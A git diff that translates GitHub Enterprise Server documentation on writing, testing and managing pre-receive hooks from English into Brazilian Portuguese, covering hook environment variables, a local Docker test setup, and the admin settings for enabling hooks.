-For more information about `git-receive-pack`, see "[git-receive-pack](https://git-scm.com/docs/git-receive-pack)" in the Git documentation. For more information about refs, see "[Git References](https://git-scm.com/book/en/v2/Git-Internals-Git-References)" in *Pro Git*.
+Para obter mais informações sobre `git-receive-pack`, consulte "[git-receive-pack](https://git-scm.com/docs/git-receive-pack)" na documentação do Git. Para obter mais informações sobre refs, consulte "[Referências do Git](https://git-scm.com/book/en/v2/Git-Internals-Git-References)" no *Pro Git*.
 
-### Output (`stdout`)
+### Saída (`stdout`)
 
-The standard output for the script, `stdout`, is passed back to the client. Any `echo` statements will be visible to the user on the command line or in the user interface.
+A saída padrão do script, `stdout`, é remetida de volta para o cliente. Qualquer `echo` será visível para o usuário na linha de comando ou na interface do usuário.
 
-### Exit status
+### Status de saída
 
-The exit status of a pre-receive script determines if the push will be accepted.
+O status de saída de um script pre-receive determina se o push será aceito.
 
-| Exit-status value | Action |
-| :- | :- |
-| 0 | The push will be accepted. |
-| non-zero | The push will be rejected. |
+| Valor de status de saída | Ação                   |
+|:------------------------ |:---------------------- |
+| 0                        | O push será aceito.    |
+| Diferente de zero        | O push será rejeitado. |
 
-### Environment variables
+### Variáveis de ambiente
 
-In addition to the standard input for your pre-receive hook script, `stdin`, {% data variables.product.prodname_ghe_server %} makes the following variables available in the Bash environment for your script's execution. For more information about `stdin` for your pre-receive hook script, see "[Input (`stdin`)](#input-stdin)."
+Além da entrada padrão para o seu script do hook pre-receive, `stdin`, {% data variables.product.prodname_ghe_server %} disponibiliza as variáveis a seguir no ambiente Bash para a execução do seu script. Para obter mais informações sobre `stdin` para o seu script de hook de pre-receive, consulte "[Entrada (`stdin`)](#input-stdin)".
 
-Different environment variables are available to your pre-receive hook script depending on what triggers the script to run.
+Diferentes variáveis de ambiente estão disponíveis para o seu script de hook pre-receive dependendo do que acionar o script.
 
-- [Always available](#always-available)
-- [Available for pushes from the web interface or API](#available-for-pushes-from-the-web-interface-or-api)
-- [Available for pull request merges](#available-for-pull-request-merges)
-- [Available for pushes using SSH authentication](#available-for-pushes-using-ssh-authentication)
+- [Sempre disponível](#always-available)
+- [Disponível para pushes a partir da interface web ou API](#available-for-pushes-from-the-web-interface-or-api)
+- [Disponível para merge de pull request](#available-for-pull-request-merges)
+- [Disponível para pushes que usam autenticação SSH](#available-for-pushes-using-ssh-authentication)
 
-#### Always available
+#### Sempre disponível
 
-The following variables are always available in the pre-receive hook environment.
+As seguintes variáveis estão sempre disponíveis no ambiente de do hook pre-receive.
 
-| Variable | Description | Example value |
-| :- | :- | :- |
-|  <pre>$GIT_DIR</pre> | Path to the remote repository on the instance | /data/user/repositories/a/ab/<br>a1/b2/34/100001234/1234.git |
-|  <pre>$GIT_PUSH_OPTION_COUNT</pre> | The number of push options that were sent by the client with `--push-option`. For more information, see "[git-push](https://git-scm.com/docs/git-push#Documentation/git-push.txt---push-optionltoptiongt)" in the Git documentation. | 1 |
-| <pre>$GIT\_PUSH\_OPTION\_<em>N</em></pre> | Where _N_ is an integer starting at 0, this variable contains the push option string that was sent by the client. The first option that was sent is stored in `GIT_PUSH_OPTION_0`, the second option that was sent is stored in `GIT_PUSH_OPTION_1`, and so on. For more information about push options, see "[git-push](https://git-scm.com/docs/git-push#git-push---push-optionltoptiongt)" in the Git documentation. | abcd |{% ifversion ghes %}
-|  <pre>$GIT_USER_AGENT</pre> | User-agent string sent by the Git client that pushed the changes | git/2.0.0{% endif %}
-|  <pre>$GITHUB_REPO_NAME</pre> | Name of the repository being updated in _NAME_/_OWNER_ format | octo-org/hello-enterprise |
-|  <pre>$GITHUB_REPO_PUBLIC</pre> | Boolean representing whether the repository being updated is public | <ul><li>true: Repository's visibility is public</li><li>false: Repository's visibility is private or internal</li></ul>
-|  <pre>$GITHUB_USER_IP</pre> | IP address of client that initiated the push | 192.0.2.1 |
-|  <pre>$GITHUB_USER_LOGIN</pre> | Username for account that initiated the push | octocat |
+| Variável                  | Descrição                                                                                                                                                                                                                                                                                                                                                                                                                                      | Valor de exemplo                                                   |
+|:------------------------- |:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |:------------------------------------------------------------------ |
+| <pre>$GIT_DIR</pre> | Caminho para o repositório remoto na instância                                                                                                                                                                                                                                                                                                                                                                                                 | /data/user/repositories/a/ab/<br>a1/b2/34/100001234/1234.git |
+| <pre>$GIT_PUSH_OPTION_COUNT</pre> | O número de opções de push enviadas pelo cliente com `--push-option`. Para obter mais informações, consulte "[git-push](https://git-scm.com/docs/git-push#Documentation/git-push.txt---push-optionltoptiongt)" na documentação do Git.                                                                                                                                                                                                         | 1                                                                  |
+| <pre>$GIT\_PUSH\_OPTION\_<em>N</em></pre> | Quando _N_ for um número inteiro a partir de 0, esta variável vai conter a string de opção de push enviada pelo cliente. A primeira opção enviada é armazenada em `GIT_PUSH_OPTION_0`, a segunda opção enviada é armazenada em `GIT_PUSH_OPTION_1`, e assim por diante. Para obter mais informações sobre as opções de push, consulte "[git-push](https://git-scm.com/docs/git-push#git-push---push-optionltoptiongt)" na documentação do Git. | abcd |{% ifversion ghes %}
+| <pre>$GIT_USER_AGENT</pre> | String de usuário-agente enviada pelo cliente Git que realizou push das alterações                                                                                                                                                                                                                                                                                                                                                             | git/2.0.0{% endif %}
+| <pre>$GITHUB_REPO_NAME</pre> | Nome do repositório que está sendo atualizado no formato _NAME_/_OWNER_                                                                                                                                                                                                                                                                                                                                                                        | octo-org/hello-enterprise                                          |
+| <pre>$GITHUB_REPO_PUBLIC</pre> | Booleano público, que representa se o repositório está sendo atualizado                                                                                                                                                                                                                                                                                                                                                                        | <ul><li>true: A visibilidade do repositório é pública</li><li>false: A visibilidade do repositório é privada ou interna</li></ul>                                          |
+| <pre>$GITHUB_USER_IP</pre> | Endereço IP do cliente que iniciou o push                                                                                                                                                                                                                                                                                                                                                                                                      | 192.0.2.1                                                          |
+| <pre>$GITHUB_USER_LOGIN</pre> | Nome de usuário para a conta que iniciou o push                                                                                                                                                                                                                                                                                                                                                                                                | octocat                                                            |
 
-#### Available for pushes from the web interface or API
+#### Disponível para pushes a partir da interface web ou API
 
-The `$GITHUB_VIA` variable is available in the pre-receive hook environment when the ref update that triggers the hook occurs via either the web interface or the API for {% data variables.product.prodname_ghe_server %}. The value describes the action that updated the ref.
+A variável `$GITHUB_VIA` está disponível no ambiente de pre-receive quando a atualização de ref que aciona o hook por meio da interface da web ou da API para {% data variables.product.prodname_ghe_server %}. O valor descreve a ação que atualizou o ref.
 
-| Value | Action | More information |
-| :- | :- | :- |
-| <pre>auto-merge deployment api</pre> | Automatic merge of the base branch via a deployment created with the API | "[Create a deployment](/rest/reference/deployments#create-a-deployment)" in the REST API documentation |
-| <pre>blob#save</pre> | Change to a file's contents in the web interface | "[Editing files](/repositories/working-with-files/managing-files/editing-files)" |
-| <pre>branch merge api</pre> | Merge of a branch via the API | "[Merge a branch](/rest/reference/branches#merge-a-branch)" in the REST API documentation |
-| <pre>branches page delete button</pre> | Deletion of a branch in the web interface | "[Creating and deleting branches within your repository](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository#deleting-a-branch)" |
-| <pre>git refs create api</pre> | Creation of a ref via the API | "[Git database](/rest/reference/git#create-a-reference)" in the REST API documentation |
-| <pre>git refs delete api</pre> | Deletion of a ref via the API | "[Git database](/rest/reference/git#delete-a-reference)" in the REST API documentation |
-| <pre>git refs update api</pre> | Update of a ref via the API | "[Git database](/rest/reference/git#update-a-reference)" in the REST API documentation |
-| <pre>git repo contents api</pre> | Change to a file's contents via the API | "[Create or update file contents](/rest/reference/repos#create-or-update-file-contents)" in the REST API documentation |
-| <pre>merge base into head</pre> | Update of the topic branch from the base branch when the base branch requires strict status checks (via **Update branch** in a pull request, for example) | "[About protected branches](/github/administering-a-repository/about-protected-branches#require-status-checks-before-merging)" |
-| <pre>pull request branch delete button</pre> | Deletion of a topic branch from a pull request in the web interface | "[Deleting and restoring branches in a pull request](/github/administering-a-repository/deleting-and-restoring-branches-in-a-pull-request#deleting-a-branch-used-for-a-pull-request)" |
-| <pre>pull request branch undo button</pre> | Restoration of a topic branch from a pull request in the web interface | "[Deleting and restoring branches in a pull request](/github/administering-a-repository/deleting-and-restoring-branches-in-a-pull-request#restoring-a-deleted-branch)" |
-| <pre>pull request merge api</pre> | Merge of a pull request via the API | "[Pulls](/rest/reference/pulls#merge-a-pull-request)" in the REST API documentation |
-| <pre>pull request merge button</pre> | Merge of a pull request in the web interface | "[Merging a pull request](/github/collaborating-with-issues-and-pull-requests/merging-a-pull-request#merging-a-pull-request-on-github)" |
-| <pre>pull request revert button</pre> | Revert of a pull request | "[Reverting a pull request](/github/collaborating-with-issues-and-pull-requests/reverting-a-pull-request)" |
-| <pre>releases delete button</pre> | Deletion of a release | "[Managing releases in a repository](/github/administering-a-repository/managing-releases-in-a-repository#deleting-a-release)" |
-| <pre>stafftools branch restore</pre> | Restoration of a branch from the site admin dashboard | "[Site admin dashboard](/admin/configuration/site-admin-dashboard#repositories)" |
-| <pre>tag create api</pre> | Creation of a tag via the API | "[Git database](/rest/reference/git#create-a-tag-object)" in the REST API documentation |
-| <pre>slumlord (#<em>SHA</em>)</pre> | Commit via Subversion | "[Support for Subversion clients](/github/importing-your-projects-to-github/support-for-subversion-clients#making-commits-to-subversion)" |
-| <pre>web branch create</pre> | Creation of a branch via the web interface | "[Creating and deleting branches within your repository](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository#creating-a-branch)" |
+| Valor                      | Ação                                                                                                                                                                      | Mais informações                                                                                                                                                                         |
+|:-------------------------- |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <pre>auto-merge deployment api</pre>  | Merge automático do branch base através de uma implantação criada com a API                                                                                               | "[Criar uma implantação](/rest/reference/deployments#create-a-deployment)" na documentação da API REST                                                                                   |
+| <pre>blob#save</pre> | Mudar para o conteúdo de um arquivo na interface web                                                                                                                      | "[Editando arquivos](/repositories/working-with-files/managing-files/editing-files)"                                                                                                     |
+| <pre>branch merge api</pre> | Merge de um branch através da API                                                                                                                                         | "[Mesclar um branch](/rest/reference/branches#merge-a-branch)" na documentação da API REST                                                                                               |
+| <pre>branches page delete button</pre> | Exclusão de um branch na interface web                                                                                                                                    | "[Criar e excluir branches dentro do seu repositório](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository#deleting-a-branch)"      |
+| <pre>git refs create api</pre> | Criação de um ref através da API                                                                                                                                          | "[Banco de dados Git](/rest/reference/git#create-a-reference)" na documentação da API REST                                                                                               |
+| <pre>git refs delete api</pre> | Exclusão de uma ref através da API                                                                                                                                        | "[Banco de dados Git](/rest/reference/git#delete-a-reference)" na documentação da API REST                                                                                               |
+| <pre>git refs update api</pre> | Atualização de um ref através da API                                                                                                                                      | "[Banco de dados Git](/rest/reference/git#update-a-reference)" na documentação da API REST                                                                                               |
+| <pre>git repo contents api</pre> | Mudança no conteúdo de um arquivo através da API                                                                                                                          | "[Criar ou atualizar o conteúdo do arquivo](/rest/reference/repos#create-or-update-file-contents)" na documentação da API REST                                                           |
+| <pre>merge base into head</pre> | Atualizar o branch de tópico do branch de base quando o branch de base exigir verificações de status rigorosas (via **Atualizar branch** em um pull request, por exemplo) | "[Sobre branches protegidos](/github/administering-a-repository/about-protected-branches#require-status-checks-before-merging)"                                                          |
+| <pre>pull request branch delete button</pre> | Exclusão de um branch de tópico de um pull request na interface web                                                                                                       | "[Excluindo e restaurando branches em uma pull request](/github/administering-a-repository/deleting-and-restoring-branches-in-a-pull-request#deleting-a-branch-used-for-a-pull-request)" |
+| <pre>pull request branch undo button</pre> | Restauração de um branch de tópico de um pull request na interface web                                                                                                    | "[Excluindo e restaurando branches em uma pull request](/github/administering-a-repository/deleting-and-restoring-branches-in-a-pull-request#restoring-a-deleted-branch)"                |
+| <pre>pull request merge api</pre> | Merge de um pull request através da API                                                                                                                                   | "[Pulls](/rest/reference/pulls#merge-a-pull-request)" na documentação da API REST                                                                                                        |
+| <pre>pull request merge button</pre> | Merge de um pull request na interface web                                                                                                                                 | "[Fazer merge de uma pull request](/github/collaborating-with-issues-and-pull-requests/merging-a-pull-request#merging-a-pull-request-on-github)"                                         |
+| <pre>pull request revert button</pre> | Reverter um pull request                                                                                                                                                  | "[Reverter uma pull request](/github/collaborating-with-issues-and-pull-requests/reverting-a-pull-request)"                                                                              |
+| <pre>releases delete button</pre> | Exclusão de uma versão                                                                                                                                                    | "[Gerenciar versões em um repositório](/github/administering-a-repository/managing-releases-in-a-repository#deleting-a-release)"                                                         |
+| <pre>stafftools branch restore</pre> | Restauração de um branch do painel de administração do site                                                                                                               | "[Painel de administração do site](/admin/configuration/site-admin-dashboard#repositories)"                                                                                              |
+| <pre>tag create api</pre> | Criação de uma tag através da API                                                                                                                                         | "[Banco de dados Git](/rest/reference/git#create-a-tag-object)" na documentação da API REST                                                                                              |
+| <pre>slumlord (#<em>SHA</em>)</pre> | Commit por meio do Subversion                                                                                                                                             | "[Compatibilidade para clientes de Subversion](/github/importing-your-projects-to-github/support-for-subversion-clients#making-commits-to-subversion)"                                   |
+| <pre>web branch create</pre> | Criação de um branch através da interface web                                                                                                                             | "[Criar e excluir branches dentro do seu repositório](/github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository#creating-a-branch)"      |
 
-#### Available for pull request merges
+#### Disponível para merge de pull request
 
-The following variables are available in the pre-receive hook environment when the push that triggers the hook is a push due to the merge of a pull request.
+As variáveis a seguir estão disponíveis no ambiente de hook pre-receive quando o push que aciona o hook é um push devido ao merge de um pull request.
 
-| Variable | Description | Example value |
-| :- | :- | :- |
-|  <pre>$GITHUB_PULL_REQUEST_AUTHOR_LOGIN</pre> | Username of account that authored the pull request | octocat |
-|  <pre>$GITHUB_PULL_REQUEST_HEAD</pre> | The name of the pull request's topic branch, in the format `USERNAME:BRANCH` | <nobr>octocat:fix-bug</nobr> |
-|  <pre>$GITHUB_PULL_REQUEST_BASE</pre> | The name of the pull request's base branch, in the format `USERNAME:BRANCH` | octocat:main |
+| Variável                   | Descrição                                                                | Valor de exemplo             |
+|:-------------------------- |:------------------------------------------------------------------------ |:---------------------------- |
+| <pre>$GITHUB_PULL_REQUEST_AUTHOR_LOGIN</pre> | Nome de usuário da conta que criou o pull request                        | octocat                      |
+| <pre>$GITHUB_PULL_REQUEST_HEAD</pre> | O nome do branch de tópico do pull request, no formato `USERNAME:BRANCH` | <nobr>octocat:fix-bug</nobr> |
+| <pre>$GITHUB_PULL_REQUEST_BASE</pre> | O nome do branch de base do pull request no formato `USERNAME:BRANCH`    | octocat:main                 |
 
-#### Available for pushes using SSH authentication
+#### Disponível para pushes que usam autenticação SSH
 
-| Variable | Description | Example value |
-| :- | :- | :- |
-|  <pre>$GITHUB_PUBLIC_KEY_FINGERPRINT</pre> | The public key fingerprint for the user who pushed the changes | a1:b2:c3:d4:e5:f6:g7:h8:i9:j0:k1:l2:m3:n4:o5:p6 |
+| Variável                   | Descrição                                                                       | Valor de exemplo                                |
+|:-------------------------- |:------------------------------------------------------------------------------- |:----------------------------------------------- |
+| <pre>$GITHUB_PUBLIC_KEY_FINGERPRINT</pre> | A impressão digital da chave pública para o usuário que fez push das alterações | a1:b2:c3:d4:e5:f6:g7:h8:i9:j0:k1:l2:m3:n4:o5:p6 |
 
-## Setting permissions and pushing a pre-receive hook to {% data variables.product.prodname_ghe_server %}
+## Configurar permissões e fazer push de um hook pre-receive para o {% data variables.product.prodname_ghe_server %}
 
-A pre-receive hook script is contained in a repository on {% data variables.product.product_location %}. A site administrator must take into consideration the repository permissions and ensure that only the appropriate users have access.
+Um script de hook pre-receive está contido em um repositório em {% data variables.product.product_location %}. O administrador do site deve considerar as permissões do repositório e garantir que somente os usuários adequados tenham acesso.
 
-We recommend consolidating hooks to a single repository. If the consolidated hook repository is public, the `README.md` can be used to explain policy enforcements. Also, contributions can be accepted via pull requests. However, pre-receive hooks can only be added from the default branch. For a testing workflow, forks of the repository with configuration should be used.
+Recomendamos consolidar os hooks em um único repositório. Se o repositório consolidado do hook for público, será possível usar `README.md` para explicar a execução das políticas. Além disso, é possível aceitar contribuições via pull request. No entanto, os hooks pre-receive só podem ser adicionados pelo branch padrão. Em fluxos de trabalho de teste, devem ser usados forks do repositório com a devida configuração.
 
-1. For Mac users, ensure the scripts have execute permissions:
+1. Para usuários de Mac, certifique-se de que os scripts tenham estas permissões de execução:
 
    ```shell
    $ sudo chmod +x <em>SCRIPT_FILE.sh</em>
    ```
-   For Windows users, ensure the scripts have execute permissions:
+   Para usuários de Windows, certifique-se de que os scripts tenham estas permissões de execução:
 
    ```shell
    git update-index --chmod=+x <em>SCRIPT_FILE.sh</em>
    ```
 
-2. Commit and push to the designated repository for pre-receive hooks on {% data variables.product.product_location %}.
+2. Faça o commit e push para o repositório designado para os hooks pre-receive em {% data variables.product.product_location %}.
 
    ```shell
    $ git commit -m "<em>YOUR COMMIT MESSAGE</em>"
    $ git push
    ```
 
-3. [Create the pre-receive hook](/enterprise/{{ currentVersion }}/admin/guides/developer-workflow/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance/#creating-pre-receive-hooks) on the {% data variables.product.prodname_ghe_server %} instance.
+3. [Crie o hook pre-receive](/enterprise/{{ currentVersion }}/admin/guides/developer-workflow/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance/#creating-pre-receive-hooks) na instância do {% data variables.product.prodname_ghe_server %}.
 
-## Testing pre-receive scripts locally
-You can test a pre-receive hook script locally before you create or update it on {% data variables.product.product_location %}. One method is to create a local Docker environment to act as a remote repository that can execute the pre-receive hook.
+## Testar scripts pre-receive no local
+Você pode testar um script do hook pre-receive localmente antes de criá-lo ou atualizá-lo em {% data variables.product.product_location %}. Uma forma de fazer isso é criar um ambiente Docker local para funcionar como repositório remoto que pode executar o hook pre-receive.
 
 {% data reusables.linux.ensure-docker %}
 
-2. Create a file called `Dockerfile.dev` containing:
+2. Crie um arquivo de nome `Dockerfile.dev` contendo:
 
    ```dockerfile
    FROM gliderlabs/alpine:3.3
@@ -171,7 +172,7 @@ You can test a pre-receive hook script locally before you create or update it on
    CMD ["/usr/sbin/sshd", "-D"]
    ```
 
-3. Create a test pre-receive script called `always_reject.sh`. This example script will reject all pushes, which is useful for locking a repository:
+3. Crie um script pre-receive de teste chamado `always_reject.sh`. Este exemplo de script rejeitará todos os pushes, o que é importante para bloquear um repositório:
 
    ```
    #!/usr/bin/env bash
@@ -180,13 +181,13 @@ You can test a pre-receive hook script locally before you create or update it on
    exit 1
    ```
 
-4. Ensure the `always_reject.sh` scripts has execute permissions:
+4. Certifique-se de que os scripts `always_reject.sh` têm permissões de execução:
 
    ```shell
    $ chmod +x always_reject.sh
    ```
 
-5. From the directory containing `Dockerfile.dev`, build an image:
+5. No diretório contendo `Dockerfile.dev`, crie uma imagem:
 
    ```shell
    $ docker build -f Dockerfile.dev -t pre-receive.dev .
@@ -204,37 +205,37 @@ You can test a pre-receive hook script locally before you create or update it on
    > Generating public/private ed25519 key pair.
    > Your identification has been saved in /home/git/.ssh/id_ed25519.
    > Your public key has been saved in /home/git/.ssh/id_ed25519.pub.
-   ....truncated output....
+   ....saída truncada....
    > Initialized empty Git repository in /home/git/test.git/
    > Successfully built dd8610c24f82
    ```
 
-6. Run a data container that contains a generated SSH key:
+6. Execute um contêiner de dados que contenha uma chave SSH gerada:
 
    ```shell
    $ docker run --name data pre-receive.dev /bin/true
    ```
 
-7. Copy the test pre-receive hook `always_reject.sh` into the data container:
+7. Copie o hook pre-receive de teste `always_reject.sh` no contêiner de dados:
 
    ```shell
    $ docker cp always_reject.sh data:/home/git/test.git/hooks/pre-receive
    ```
 
-8. Run an application container that runs `sshd` and executes the hook. Take note of the container id that is returned:
+8. Execute um contêiner de aplicativo que execute `sshd` e o hook. Anote o ID do contêiner:
 
    ```shell
    $ docker run -d -p 52311:22 --volumes-from data pre-receive.dev
    > 7f888bc700b8d23405dbcaf039e6c71d486793cad7d8ae4dd184f4a47000bc58
    ```
 
-9. Copy the generated SSH key from the data container to the local machine:
+9. Copie a chave SSH gerada do contêiner de dados para a máquina local:
 
    ```shell
    $ docker cp data:/home/git/.ssh/id_ed25519 .
    ```
 
-10. Modify the remote of a test repository and push to the `test.git` repo within the Docker container. This example uses `git@github.com:octocat/Hello-World.git` but you can use any repository you want. This example assumes your local machine (127.0.0.1) is binding port 52311, but you can use a different IP address if docker is running on a remote machine.
+10. Modifique o remote de um repositório de teste e faça push para o repo `test.git` no contêiner Docker. Este exemplo usa o `git@github.com:octocat/Hello-World.git`, mas você pode usar o repositório da sua preferência. Este exemplo pressupõe que a sua máquina local (127.0.0.1) está vinculando a porta 52311, mas você pode usar outro endereço IP se o docker estiver sendo executado em uma máquina remota.
 
    ```shell
    $ git clone git@github.com:octocat/Hello-World.git
@@ -242,18 +243,18 @@ You can test a pre-receive hook script locally before you create or update it on
    $ git remote add test git@127.0.0.1:test.git
    $ GIT_SSH_COMMAND="ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -p 52311 -i ../id_ed25519" git push -u test main
    > Warning: Permanently added '[192.168.99.100]:52311' (ECDSA) to the list of known hosts.
-   > Counting objects: 7, done.
+   > Contando objetos: 7, concluído.
    > Delta compression using up to 4 threads.
-   > Compressing objects: 100% (3/3), done.
-   > Writing objects: 100% (7/7), 700 bytes | 0 bytes/s, done.
+   > Comprimindo objetos: 100% (3/3), concluído.
+   > Gravando objetos: 100% (7/7), 700 bytes | 0 bytes/s, concluído.
    > Total 7 (delta 0), reused 7 (delta 0)
    > remote: error: rejecting all pushes
    > To git@192.168.99.100:test.git
-   >  ! [remote rejected] main -> main (pre-receive hook declined)
+   >  ! [remote rejected] master -> master (pre-receive hook declined)
    > error: failed to push some refs to 'git@192.168.99.100:test.git'
    ```
 
-   Notice that the push was rejected after executing the pre-receive hook and echoing the output from the script.
+   Observe que o push foi rejeitado após a execução do hook pre-receive e o eco da saída do script.
 
-## Further reading
- - "[Customizing Git - An Example Git-Enforced Policy](https://git-scm.com/book/en/v2/Customizing-Git-An-Example-Git-Enforced-Policy)" from the *Pro Git website*
+## Leia mais
+ - "[Personalizar o Git - Um exemplo da aplicação da política do Git](https://git-scm.com/book/en/v2/Customizing-Git-An-Example-Git-Enforced-Policy)" no *site do Pro Git*
diff --git a/translations/pt-BR/content/admin/policies/enforcing-policy-with-pre-receive-hooks/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance.md b/translations/pt-BR/content/admin/policies/enforcing-policy-with-pre-receive-hooks/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance.md
index 1a2e868839..64b0e092d5 100644
--- a/translations/pt-BR/content/admin/policies/enforcing-policy-with-pre-receive-hooks/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance.md
+++ b/translations/pt-BR/content/admin/policies/enforcing-policy-with-pre-receive-hooks/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance.md
@@ -1,6 +1,6 @@
 ---
-title: Managing pre-receive hooks on the GitHub Enterprise Server appliance
-intro: 'Configure how people will use pre-receive hooks within their {% data variables.product.prodname_ghe_server %} appliance.'
+title: Gerenciar hooks pre-receive no appliance do GitHub Enterprise Server
+intro: 'Configure o uso que as pessoas farão dos hooks pre-receive em seus appliances do {% data variables.product.prodname_ghe_server %}.'
 redirect_from:
   - /enterprise/admin/developer-workflow/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance
   - /enterprise/admin/guides/developer-workflow/managing-pre-receive-hooks-on-the-github-enterprise-appliance
@@ -13,64 +13,51 @@ topics:
   - Enterprise
   - Policies
   - Pre-receive hooks
-shortTitle: Manage pre-receive hooks
+shortTitle: Gerenciar hooks pre-receive
 ---
-## Creating pre-receive hooks
+
+## Criar hooks pre-receive
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.hooks-tab %}
-4. Click **Add pre-receive hook**.
-![Add pre-receive hook](/assets/images/enterprise/site-admin-settings/add-pre-receive-hook.png)
-5. In the **Hook name** field, enter the name of the hook that you want to create.
-![Name pre-receive hook](/assets/images/enterprise/site-admin-settings/hook-name.png)
-6. From the **Environment** drop-down menu, select the environment on which you want the hook to run.
-![Hook environment](/assets/images/enterprise/site-admin-settings/environment.png)
-7. Under **Script**, from the **Select hook repository** drop-down menu, select the repository that contains your pre-receive hook script. From the **Select file** drop-down menu, select the filename of the pre-receive hook script.
-![Hook script](/assets/images/enterprise/site-admin-settings/hook-script.png)
-8. Select **Use the exit-status to accept or reject pushes** to enforce your script. Unselecting this option allows you to test the script while the exit-status value is ignored. In this mode, the output of the script will be visible to the user in the command-line but not on the web interface.
-![Use exit-status](/assets/images/enterprise/site-admin-settings/use-exit-status.png)
-9. Select **Enable this pre-receive hook on all repositories by default** if you want the pre-receive hook to run on all repositories.
-![Enable hook all repositories](/assets/images/enterprise/site-admin-settings/enable-hook-all-repos.png)
-10. Select **Administrators can enable and disable this hook** to allow organization members with admin or owner permissions to select whether they wish to enable or disable this pre-receive hook.
-![Admins enable or disable hook](/assets/images/enterprise/site-admin-settings/admins-enable-hook.png)
+4. Clique em **Add pre-receive hook** (Adicionar hooks pre-receive). ![Adicionar hook pre-receive](/assets/images/enterprise/site-admin-settings/add-pre-receive-hook.png)
+5. No campo **Hook name** (Nome do hook), informe o nome do hook que você pretende criar. ![Nomear hook pre-receive](/assets/images/enterprise/site-admin-settings/hook-name.png)
+6. No menu suspenso **Environment** (Ambiente), selecione o ambiente em que você pretende executar o hook. ![Ambiente de hook](/assets/images/enterprise/site-admin-settings/environment.png)
+7. Em **Script**, no menu suspenso **Select hook repository** (Selecionar repositório de hook), selecione o repositório que contém o script de hook pre-receive. No menu suspenso **Select file** (Selecionar arquivo), selecione o nome do arquivo de scripts do hook pre-receive. ![Script de hook](/assets/images/enterprise/site-admin-settings/hook-script.png)
+8. Selecione **Use the exit-status to accept or reject pushes** (Usar status de saída para aceitar ou rejeitar pushes) para aplicar seu script. Ao desmarcar essa opção, você pode testar o script enquanto o valor do status de saída é ignorado. Nesse modo, a saída do script ficará visível para o usuário na linha de comando, mas não na interface da web. ![Usar status de saída](/assets/images/enterprise/site-admin-settings/use-exit-status.png)
+9. Selecione **Enable this pre-receive hook on all repositories by default** (Habilitar este hooks pre-receive em todos os repositórios por padrão) se quiser que o hook pre-receive seja executado em todos os repositórios. ![Habilitar hooks em todos os repositório](/assets/images/enterprise/site-admin-settings/enable-hook-all-repos.png)
+10. Selecione **Administrators can enable and disable this hook** (Administradores podem habilitar e desabilitar este hook) para permitir que os integrantes da organização com permissões de administrador ou proprietário decidam se querem habilitar ou desabilitar esse hook pre-receive. ![Habilitar ou desabilitar hooks para administradores](/assets/images/enterprise/site-admin-settings/admins-enable-hook.png)
 
-## Editing pre-receive hooks
+## Editar hooks pre-receive
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.hooks-tab %}
-1. Next to the pre-receive hook that you want to edit, click {% octicon "pencil" aria-label="The edit icon" %}.
-![Edit pre-receive](/assets/images/enterprise/site-admin-settings/edit-pre-receive-hook.png)
+1. Ao lado do hook pre-receive que deseja editar, clique em {% octicon "pencil" aria-label="The edit icon" %}.![Editar hooks pre-receive](/assets/images/enterprise/site-admin-settings/edit-pre-receive-hook.png)
 
-## Deleting pre-receive hooks
+## Excluir hooks pre-receive
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.hooks-tab %}
-2. Next to the pre-receive hook that you want to delete, click {% octicon "x" aria-label="X symbol" %}.
-![Edit pre-receive](/assets/images/enterprise/site-admin-settings/delete-pre-receive-hook.png)
+2. Ao lado do hook pre-receive que deseja excluir, clique em {% octicon "x" aria-label="X symbol" %}.![Editar hooks pre-receive](/assets/images/enterprise/site-admin-settings/delete-pre-receive-hook.png)
 
-## Configure pre-receive hooks for an organization
+## Configurar hooks pre-receive para uma organização
 
-An organization administrator can only configure hook permissions for an organization if the site administrator selected the **Administrators can enable or disable this hook** option when they created the pre-receive hook. To configure pre-receive hooks for a repository, you must be an organization administrator or owner.
+O administrador da organização só pode configurar permissões de hook para a organização se o administrador do site tiver selecionado a opção **Administrators can enable or disable this hook** (Administradores podem habilitar e desabilitar este hook) ao criar o hook pre-receive. Para configurar hooks pre-receive em um repositório, você deve ser administrador ou proprietário da organização.
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
-4. In the left sidebar, click **Hooks**.
-![Hooks sidebar](/assets/images/enterprise/orgs-and-teams/hooks-sidebar.png)
-5. Next to the pre-receive hook that you want to configure, click the **Hook permissions** drop-down menu. Select whether to enable or disable the pre-receive hook, or allow it to be configured by the repository administrators.
-![Hook permissions](/assets/images/enterprise/orgs-and-teams/hook-permissions.png)
+4. Na barra lateral esquerda, clique em **Hooks**. ![Barra lateral de hooks](/assets/images/enterprise/orgs-and-teams/hooks-sidebar.png)
+5. Ao lado do hook pre-receive que você pretende configurar, clique no menu suspenso **Hook permissions** (Permissões de hook). Selecione se deseja habilitar ou desabilitar o hook pre-receive, ou permitir que ele seja configurado pelos administradores do repositório. ![Permissões de hook](/assets/images/enterprise/orgs-and-teams/hook-permissions.png)
 
-## Configure pre-receive hooks for a repository
+## Configurar hooks pre-receive para um repositório
 
